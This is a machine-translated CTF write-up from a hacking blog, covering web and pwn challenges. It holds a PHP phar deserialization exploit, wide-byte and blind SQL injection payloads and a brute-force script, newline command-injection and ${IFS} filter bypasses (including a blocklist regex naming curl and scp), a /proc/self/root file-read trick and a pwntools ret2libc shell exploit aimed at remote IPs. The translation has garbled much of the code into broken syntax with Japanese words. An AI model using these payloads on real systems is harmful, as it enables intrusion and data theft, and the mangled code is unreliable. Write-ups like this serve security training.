Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86370664

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

1。 web

1.web_baliyun

入力後、ファイルがアップロードされ、写真のみをアップロードできます。 www.zipにアクセスしてソースコードを取得します

1049983-20220922090556835-1442997120.pngウェブサイトソースコード:index.php:php

include( 'class.php');

if(isset($ _ get ['img_name'])){

$ down=newCheck_img();#ここに

echo $ down-img_check();

}

if(isset($ _ files ['file'] ['name'])){

$ up=newupload();

echo $ up-start();

}

class.php3360?php

classupload {

public $ filename;

public $ ext;

public $ size;

public $ valid_ext;

publicfunction__construct(){

$ this-filename=$ _ files ['file'] ['name'];

$ this-ext=end(Explode( '。'、$ _ files ['file'] ['name']));

$ this-size=$ _ files ['file'] ['size']/1024;

$ this-valid_ext=array( 'gif'、 'jpeg'、 'jpg'、 'png');

}

publicFunctionStart(){

$ this-check();

}

privateFunctionCheck(){

if(file_exists($ this-filename)){

「Imagealreadyexsists」を返します。

} elseif(!in_array($ this-ext、$ this-valid_ext)){

'onlyimagecanbeuploaded'を返します。

}それ以外{

return $ this-move();

}

}

privateFunctionMove(){

move_uploaded_file($ _ files ['file'] ['tmp_name']、 'upload/'.$ this-filename);

'uploadsuccsess!'を返します。

}

publicfunction__wakeup(){

echofile_get_contents($ this-filename);#ここ2

}

}

classcheck_img {

public $ img_name;

publicfunction__construct(){

$ this-img_name=$ _ get ['img_name'];#ここに

}

publicfunctionimg_check(){

if(file_exists($ this-img_name)){#here1

「ImageExsists」を返します。

}それ以外{

「イマンノティーズシスト」を返します。

}

}

} PhARが降下し、アップロードしてからそれを含めることは明らかです。また、コードはアップロードとしてアップロードディレクトリを配信し、ファイル名は変更されていません。

Phar Deserializationの詳細については、参照してください

PHP降下拡張攻撃の詳細な説明-Phar: https://xz.aliyun.com/t/6699

Phar and Stream Lapperは、PHP RCE : https://xz.aliyun.com/t/2958の詳細なマイニングを引き起こします。

#test.php

?php

classupload {

public $ filename;

publicfunction__construct(){

$ this-filename='file: ///flag';

}

}

$ phar=newphar( 'tao.phar');

$ phar-stopbuffering();

$ phar-setstub( 'gif89a'。 '?php__halt_compiler();');

$ phar-addfromstring( 'test.txt'、 'test');

$ payload=newupload();

$ phar-setmetadata($ payload);

$ phar-stopbuffering();

php - definedphar.readonly=0test.php

mvtao.phartao.gif

クラスでPhARを開始できる関数file_existsを見ました。フラグを読むことができる関数。その後、アイデアは非常に明確です。 TAO.GIFを直接アップロードすると、コンテンツはアップロードクラスであり、プロパティファイル名は /フラグです。次に、IMG_NAMEをPhAR: //アップロード/TAO.GIFに渡して、PHARパッケージをトリガーします

Tao.gifをアップロードしてから?img_name=phar: //upload/tao.gifはフラグを取得できます。

oulo@gota:~$curl-vvhttp://39.107.82.169:27417/index.php?img_name=phar://upload/tao.gif|grep'flag ''

...............

get/index.php?img_name=phar: //upload/tao.gifhttp/1.1

host:39.107.82.169:27417

user-agent:curl/7.58.0

Accept:*/*

HTTP/1.1200OK

日付:mon、19sep202220336042:08gmt

server:apache/2.4.25(debian)

X-Powed-by:php/5.6.40

vary:ACCEPT-ENCODING

Content-Length:1925

content-type:text/html; charset=utf-8

...............

flag {s8hjqg5ftej9kcc65mn55k9xjrrgyvqg}

2.EASYLOGIN

SQL注入。 Burpがパケットをキャッチしたとき、GBKがコードを絞ったことを発見し、それが広いバイトインジェクションであることに気付きました。

username=admin%df'password=admin

エラーを報告する:

SQL構文にエラーがあります。適切な構文のためにMySQL Serverバージョンに対応するマニュアルを確認してください。

関節注入発見:をテストします

1049983-20220922090557623-1116459392.jpgには常に構文エラーがあります。トラブルシューティング後、SelectとUnionが空に置き換えることがわかっているため、Double Writeを使用してバイパスする方が簡単です。

直接関節噴射パスワードをログインできません。通常のサイト開発パスワードはMD5になると思います。そのため、MD5を使用して暗号化します。引用符は使用できないため、16進バイパスを選択します。

1049983-20220922090558263-459598854.jpg

仮想テーブルを作成し、直接ログインします。バックグラウンドロジックはMD5比較です。同様の元の質問username=admin%df%27Ununion%0aseElectlect%0A66,66,0x343762636365365633734666635383963438363776462643535365396363613963830-#PROPT=AAAA AAAパスワードが弱く、パスワードはadmin123を爆破します

1049983-20220922090558895-1246514747.png

get/index.php?ip=127.0.0.1%0alshttp/1.1

host:39.107.75.148:19304

pragma:No-cache

Cache-Control:No-Cache

アップグレード-Insecure-Requests:1

user-agent:mozilla/5.0(windowsnt10.0; wow64)applewebkit/537.36(khtml、virtgecko)chrome/86.0.4240.198Safari/537.36

Accept:Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/APNG、*/*; Q=0.8、Application/Signed-Exchange; v=B3; Q=0.9

Referer:http://39.107.75.148:19304/index.php?ip=ip

Accept-Encoding:GZIP、deflate

Accept-Language:Zh-Cn、Zh; q=0.9

cookie:phpsessid=r4mutkqgni200nfu6ar3qj3jp7; td_cookie=3097567335

Connection:Close 1049983-20220922090559527-52671451.jpg

#ソースコードを読み取ります

?ip=127.0.0.1%0apaste%09index.pharray

[0]=?php

[1]=

[2]=header( 'content-type:text/html; charset=utf-8');

[3]=

[4]=//オープンセッション

[5]=

[6]=session_start();

[7]=

[8]=

[9]=

[10]=//最初にCookieがユーザー情報を覚えているかどうかを判断します

[11]=

[12]=if(isset($ _ cookie ['username'])){

[13]=

[14]=#ユーザー情報を覚えている場合、セッションに直接送信されます

[15]=

[16]=$ _セッション['username']=$ _ cookie ['username'];

[17]=

[18]=$ _セッション['islogin']=1;

[19]=

[20]=}

[21]=

[22]=if(isset($ _ session ['islogin'])){

[23]=

[24]=//ログインした場合

[25]=

[26]=

[27]=$ res=false;

[28]=

[29]=if(isset($ _ get ['ip'])$ _ get ['ip']){

[30]=$ ip=$ _ get ['ip'];

[31]=$ m=[];

[32]=if(!preg_match_all( '/(\ |||; || \/| cat | flag | touch | touch | curl | curl | scp | kylin | echo | tmp | var | run | greep | - | `|' | '| : |||| more)/'、$ m){

[33]=$ cmd='ping-c4 {$ ip}';

[34]=exec($ cmd、$ res);

[35]=} else {

[36]=$ res='ハッカー、違法な声明があります';

[37]=}

[38]=}

[39]=

[40]=

[41]=} else {

[42]=

[43]=//ログインしていない場合

[44]=

[45]=Echo'Youはまだログインしていません。Ahref='login.html'login/a';

[46]=

[47]=}

[48]=

[49]=?定期的な傍受は次のとおりです。

if(!preg_match_all( '/(\ |||; || \/| cat | flag | touch | curl | scp | kylin | echo | tmp | var | run | grep | - | `|' | : ||| more | more)/'、$ ip、m)しかし、 /傍受されるため、ディレクトリを入力してファイルを読み取ろうとしますが、質問はLinuxシステムの特性を使用してKylinをフィルターし、ディレクトリファイルを定期的に確認します。

#Kylinディレクトリを読み取ります

?ip=127.0.0.1%0als%09ky ?#出力:

事前に

[0]=flag.txt

))

/pre#finalPayload

?IP=127.0.0.1%0ACD%09KY ?%0APASTE%09FL*#%09=''(TAB)、実際には$ {ifs}もできます

?ip=127.0.0.1%0ACD%09KY ?%0apaste $ {ifs} fl*

?ip=127.0.0.1%0aca''t $ {ifs} $(fi''nd $ {ifs}バイナリを使用して、ケースに敏感になります。

1049983-20220922090601456-1710777780.png

スクリプトのインポレクティストの直接メモ

proxy={'http':'127.0.0.133608080'}

result='0x'

k=0forjinrange(100):

Foriinrange(33,126):

k=hex(i)

K=K [2:]

結果+=k

Password='または(case \ x09when \ x09(binary \ x09username'+result+')\ x09then \ x091 \ x09else \ x09223372036854775807+1 \ x09end)#'

data={'username':'aa \\'、 'password':password}

re=requests.post(data=data、url=url、proxies=proxy、aople_redirects=false)

#sleep(0.1)

印刷(re.status_code)

if'msg'notinre.text:

結果=結果[:-2]

l=hex(i-1)

L=L [2:]

結果+=l

印刷(結果)

壊す

else:

結果=result [:-2]最後に、username=flag_accountpassword=g1ve_y0u _@_ k3y_70_937_f14g !ログインを送信した後、それは単純な再ファイルであることがわかります。フィルタ /フラグを立てるだけで、直接使用できません。 /proc/self/root/flagを使用するだけですか?phpsession_start(); if(sesset($ _ session ['name'])){if($ _ session ['name']==='flag_account'){$ file=urldecode($ _ get ['file']); if(!if(! preg_match( '/^\/flag | var | tmp | php | log | \%| sess | etc | usr | \。| \ : | base | ssh | http/i'、$ file ){readfile($ file);} else {echo'tryagain〜 ';}} show_source(__ file __);} else {echo'login〜';}

1049983-20220922090602071-124416845.jpg

1049983-20220922090602648-1448644284.png

3.web_letmeguess_1

4.web_eeeeasy_sql

BASIC RET2LIBC

frommpwnimport*

context.log_level='debug'#p=process( './h3ll0rop')

p=remote('47 .93.30.67 '、52705)

elf=elf( './h3ll0rop')

libc=elf( './libc-2.23.so')

pop_rdi=0x0000000000000400753#vuln=0x400647

vuln=0x4006cc#leaklibc

ペイロード=b'a '*(0x60+0x8)+p64(pop_rdi)+p64(elf.got [' puts '])+p64(elf.plt [' puts '])+p64(vuln)

P.Sendlineferter(b'me ? '、ペイロード)

libc_base=u64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))-libc.sym ['puts']]

print( 'libc_base'、hex(libc_base))

system=libc_base+libc.sym ['system']

binsh=libc_base+next(libc.search(b '/bin/sh'))#getshell

ペイロード=b'a '*(0x60+0x8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(vuln)

P.Sendlineferter(b'me ? '、ペイロード)

p.Interactive()p.close()

2。 pwn

frommpwnimport*

Context(os='linux'、arch='amd64')

context.log_level=true

e